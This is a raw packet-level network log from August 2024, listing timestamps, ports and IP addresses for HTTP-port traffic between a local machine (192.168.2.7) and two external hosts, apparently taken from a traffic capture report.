Aug 28, 2024 22:55:59.668603897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668612957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668632984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668884993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668900967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668942928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.669084072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.669131041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.669172049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.669183016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.669193983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.669212103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.669224977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.669228077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.669236898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.669250011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.669250965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.669267893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.669294119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.670327902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.670367002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.670377970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.670378923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.670408010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.670423985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.670443058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.670454979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.670465946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.670479059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.670480967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.670492887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.670495033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.670516014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.670538902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671106100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671159029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671160936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671169043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671200991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671217918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671238899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671251059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671262026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671273947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671279907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671304941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671329021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671334982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671341896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671351910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671363115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671370983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671377897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671384096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671390057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671402931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671405077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671416998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671432018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671456099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671463013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671479940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671492100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671504021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671504974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671529055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671541929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671602964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671614885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671627045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671637058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671643972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671668053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671673059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671691895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671740055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671753883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671763897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.671792984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.671807051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:00.007186890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:00.007186890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:00.012187958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:00.012203932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:00.714803934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:00.714873075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:01.112232924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:01.117264032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:01.656416893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:01.656440020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:01.656533003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:01.658984900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:01.663847923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.203376055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.203399897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.203526020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.220499992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.228763103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.761023045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.761161089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.835155964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.835295916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.840171099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840243101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840255976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840265036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840358973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.840390921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840400934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840451002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.840502977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840513945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840564013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840567112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.840574026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.840625048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.844858885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.844872952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.844928026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.844933033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.844939947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.844949007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.844993114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.845065117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.845077991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.845129013 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.845419884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.845487118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.845520020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.845561028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:02.849613905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.849692106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.849978924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.849999905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850009918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850094080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850102901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850140095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850150108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850218058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850229025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850243092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850285053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850332975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850342035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850402117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850459099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850640059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850650072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850658894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850667953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850692034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850701094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850734949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850744963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850779057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850850105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850860119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850948095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.850959063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.854382038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.854393959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.854409933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.854420900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.854454994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.854497910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:02.854583979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:03.959429979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:03.959521055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:03.964236975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:03.969757080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:04.600559950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:56:04.600764036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:56:04.604089022 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:04.608911991 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:04.609016895 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:04.609095097 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:04.613883972 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277199030 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277221918 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277234077 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277292967 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.277303934 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277319908 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277339935 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277348042 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.277353048 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277364016 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.277369976 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277383089 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277394056 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.277396917 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.277436018 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.282327890 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.282342911 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.282427073 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.371339083 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.371368885 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.371380091 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.371423960 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.371434927 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.371444941 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.371453047 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.371457100 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.371494055 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.371536016 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.372323036 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.372334957 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.372345924 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.372375011 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.372400045 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.372409105 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.372412920 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.372437000 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.372459888 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.373120070 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.373131990 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.373150110 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.373161077 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.373167038 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.373173952 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.373199940 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.373210907 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.373992920 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.374036074 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.374044895 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.374057055 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.374067068 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.374083996 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.374115944 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.466078997 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466094971 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466106892 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466126919 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466136932 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466150999 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.466175079 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.466438055 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466480970 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.466512918 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466523886 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466547966 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466557980 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.466578007 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.466578007 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.466592073 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.466603041 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.466979027 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467015982 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467026949 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467034101 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.467056036 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.467057943 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467071056 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467082024 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.467103958 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.467628002 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467677116 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.467714071 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467725992 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467735052 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467746019 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467756033 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.467756987 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.467788935 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.467807055 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.468434095 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.468446016 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.468457937 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.468475103 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.468485117 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.468493938 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.468504906 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.468514919 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.468523026 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.468530893 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.468559980 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.469367981 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.469379902 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.469402075 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.469413042 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.469424009 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.469425917 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.469435930 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.469444036 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.469472885 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.469603062 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.469643116 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.472105980 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.472116947 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.472126007 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.472136021 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.472146988 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.472157955 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.472167969 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.472208023 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.566761971 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.566843987 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.566855907 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.566868067 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.566878080 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.566896915 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.566930056 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.566963911 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.566984892 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.566998005 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567008018 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567034006 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.567048073 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.567176104 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567188025 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567198992 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567209959 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567220926 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.567253113 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.567322969 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567333937 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567343950 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567353964 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567363024 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.567368031 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567380905 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567392111 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567395926 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.567409992 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.567445040 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.567461014 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.567497969 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.568212032 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568223000 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:05.568260908 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.568280935 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:05.568403006 CEST	80	49734	147.45.44.104	192.168.2.7
